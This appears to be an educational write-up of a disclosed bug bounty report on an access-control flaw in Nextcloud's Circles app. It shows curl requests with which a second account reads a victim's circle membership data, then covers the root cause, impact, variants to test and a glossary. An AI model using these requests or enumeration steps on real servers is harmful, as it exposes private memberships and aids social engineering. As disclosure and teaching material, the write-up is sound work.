    </element>
  </inheritanceDetails>
</data>

The response carries the membership level (9, which the report identifies as Owner), the inheritance path, the inheritance depth, and the resolved inheritance details, including the user's display name and user ID. The inheritance depth is how many steps the path has; here it is 1, because the user belongs directly to the circle.

Step 3: the attacker reads the same membership

The attacker, a different authenticated account, sends the identical request, changing only the credentials:

Bash
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
  -H "OCS-APIRequest: true" \
  -u attacker:Testing-/:321S

Line by line:

  • The method, address and header are exactly the same as in step 2.
  • Only -u attacker:Testing-/:321S differs: the attacker's own username and password.

This step is taken to test whether the server cares who is asking. If the endpoint were protected, the attacker would get an error or an empty answer. The response is identical to the data the victim received:

XML
<data>
  <singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
  <circleId>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</circleId>
  <circleConfig>0</circleConfig>
  <level>9</level>
  <inheritanceFirst>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</inheritanceFirst>
  <inheritanceLast>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</inheritanceLast>
  <inheritancePath>
    <element>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</element>
  </inheritancePath>
  <inheritanceDepth>1</inheritanceDepth>
  <inheritanceDetails>
    <element>
      <id>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</id>
      <name>user:victim:ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</name>
      <displayName>victim</displayName>
      <userId>victim</userId>
      <owner>
        <userId>victim</userId>
      </owner>
    </element>
  </inheritanceDetails>
</data>

The report's proof of exploitation is the equality of the two responses: the attacker obtained the victim's private circle membership information, including the circle ID, the user's single ID, the membership level, the inheritance path and the complete circle details, plus the user identification information.

Root cause

The authorisation decision is missing at every layer, and the report walks through each one.

  1. Controller layer. LocalController::link() (lines 581 to 590) calls getMembership() with detailed=true without any authorisation verification. The only check is setCurrentFederatedUser(), which verifies that the user is authenticated, not that they may view the requested membership. The code path is LocalController::link() to MembershipService::getMembership() with no permission check in between.
  2. Service layer. MembershipService::getMembership() (lines 134 to 142) calls MembershipRequest::getMembership() directly. There is no call to verify circle access, no check that the current user is a member, and no validation that the user may view information about the target singleId. The method signature has no $initiator parameter, so no permission context is passed in at all.
  3. Database layer. MembershipRequest::getMembership() (lines 73 to 80) builds a query using only limitToCircleId() and limitToSingleId(), which are simple WHERE clauses with no join to membership tables or permission checks. A WHERE clause is the part of a database query that filters rows. The query builder getMembershipSelectSql() (lines 50 to 59) creates a basic SELECT with no authorisation joins, so the query returns data for any circleId/singleId combination that exists in the database.
  4. Detailed mode. Because link() always passes detailed=true, the code also calls getCirclesByIds() (line 137), which the report says has zero authorisation checks. That method (CircleRequest.php, lines 324 to 335) uses minimumLevel => Member::LEVEL_NONE, meaning it requires no membership at all, so complete circle details for every circle in the inheritance path are returned without any permission verification.
  5. Endpoint exposure. The link() endpoint carries the @NoAdminRequired annotation (line 237), so any authenticated user can reach it. The report states there is no rate limiting, no additional authorisation middleware, and no checks beyond basic authentication. Rate limiting is a cap on how many requests one client may send in a period; middleware is code that runs before the main handler.
  6. Error handling. The only exception that can occur is MembershipNotFoundException when the combination does not exist. That does not prevent disclosure; it acts as an enumeration oracle, letting an attacker distinguish "membership exists" (data returned) from "membership does not exist" (exception thrown). An oracle here means any observable difference in behaviour that answers a question the attacker is not supposed to be able to ask.

In short, the endpoint treats the pair of identifiers as sufficient proof of entitlement. Existing defences did not stop it because authentication was the only gate, and the object identifiers are the only thing an attacker needs to supply.

Impact

Any authenticated user can access membership information for any circle and user combination. According to the report, this lets an attacker:

  • discover private or hidden circles by enumerating membership relationships;
  • map organisational structure through inheritance path information;
  • determine membership levels and hierarchies without authorisation;
  • identify circle relationships and nested structures;
  • leak sensitive organisational data through membership enumeration.

The business impact listed includes violation of privacy for private circles and teams, exposure of organisational structure and relationships, potential for social engineering using discovered relationships, violation of data protection regulations such as GDPR, and information disclosure that could aid further attacks. Social engineering means manipulating people using information you have gathered about them, for example to make a convincing fake request.

The affected data is all circle memberships in the system, inheritance relationships between circles, circle configurations and visibility settings, and user-circle relationships.

The report's real-world attack scenario: enumerate all circles a target user belongs to, discover private executive circles or confidential teams, map the organisational hierarchy through inheritance paths, identify key personnel and their circle memberships, and use that information for targeted social engineering.

Fix

The report itself does not describe the patch. The program's summary points to the published security advisory GHSA-f99w-3pm7-v4cv for the remediation. What the analysis implies is that the link endpoint, or the service beneath it, needs to verify that the requesting user is entitled to view the membership for the given circleId and singleId before the query runs, and that the detailed inheritance lookup should be subject to the same check.

Variants to test

  • Other OCS endpoints that take a circleId and a singleId. Send the pair as a low-privileged user and compare the response with the owner's. A positive result is identical data returned to both accounts.
  • Endpoints that accept detailed or similar flags. Request the detailed form as an outsider. A positive result is extra resolved objects (circle names, owners, configurations) appearing in the response.
  • Enumeration through error behaviour. Submit random identifiers and observe whether the error differs from the response for a real pair. A positive result is a reliable exists/does-not-exist signal.
  • Inheritance paths on nested circles. Query a membership whose inheritance path spans several circles. A positive result is the full chain of circle details returned to a user outside all of them.
  • Other @NoAdminRequired controller methods in the same app. Check whether they pass identifiers straight to a query builder without a permission context. A positive result is a method whose signature, like getMembership(), has no initiator parameter.

Hunting notes

Serialisation is the step that turns an internal record into the response format. The strongest static signal is a service method whose signature carries no user or initiator context, as the report highlights for getMembership(). The second signal is a query builder that only applies limitTo... WHERE clauses with no permission join. The third is a @NoAdminRequired annotation on a controller action that forwards identifiers directly to such a service.

During recon, look for OCS routes of the form /link/{id}/{id} or similar pair-based lookups, and test them with two accounts. Recon is the early phase of exploring an application to see what it exposes. The researcher demonstrated impact by showing that the victim's and attacker's responses were identical, and that the detailed mode leaks circle details beyond the membership row itself.

Glossary

  • API: a defined way for one program to ask another for data or actions over the network.
  • Annotation: a marker in code, such as @NoAdminRequired, that the framework reads and acts on.
  • Authentication: proving who you are, usually by logging in.
  • Authorisation: deciding what an authenticated user is allowed to see or do.
  • Basic authentication: sending a username and password with each request.
  • Brute-force: trying many possibilities automatically until one succeeds.
  • Bounty: a payment made to a researcher who reports a valid security flaw.
  • Circle: a user-defined group in the Nextcloud Circles app, which can be personal or shared and can nest inside other circles.
  • Controller: the part of an application that receives an incoming request and decides what to do with it.
  • CVSS: a standard scoring system for the severity of a security flaw, from 0 to 10.
  • curl: a command-line tool for sending HTTP requests.
  • Database query: an instruction sent to a database to fetch or change rows of data.
  • Endpoint: a specific address in an API that accepts requests.
  • Enumeration: systematically listing things, such as which memberships exist, by trying many values.
  • Exception: an error condition raised in code, which can be caught and turned into a response.
  • GET: the HTTP method used to read something.
  • Header: extra metadata attached to an HTTP request or response.
  • HTTP: the protocol browsers and programs use to exchange requests and responses.
  • IDOR (insecure direct object reference): a flaw where an object is returned based only on an identifier supplied by the caller, without checking entitlement.
  • Inheritance path: the chain of nested circles that connects a user to a circle.
  • JSON: a text format for structured data, using braces and key/value pairs.
  • Membership level: a number describing a user's power in a circle; the report identifies level 9 as Owner.
  • Method signature: the list of inputs a function accepts and the type of value it returns.
  • Middleware: code that runs before the main handler of a request.
  • OCS: Nextcloud's API convention, served under /ocs/v2.php/.
  • Oracle: any observable difference in behaviour that reveals information the attacker should not be able to obtain.
  • POST: the HTTP method used to create or submit something.
  • Query builder: a helper object that assembles a database query piece by piece.
  • Rate limiting: a cap on how many requests a client may send in a period.
  • Recon: the early exploration phase of testing an application.
  • Route: the address pattern that maps a request to a handler.
  • Serialisation: turning an internal record into the format sent in a response.
  • Service: a layer of code holding business logic, called by controllers.
  • Severity: how serious a flaw is judged to be.
  • Social engineering: manipulating people using gathered information to get them to do something.
  • WHERE clause: the part of a database query that filters which rows are returned.
  • XML: a text format for structured data, using tags such as <name>...</name>.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.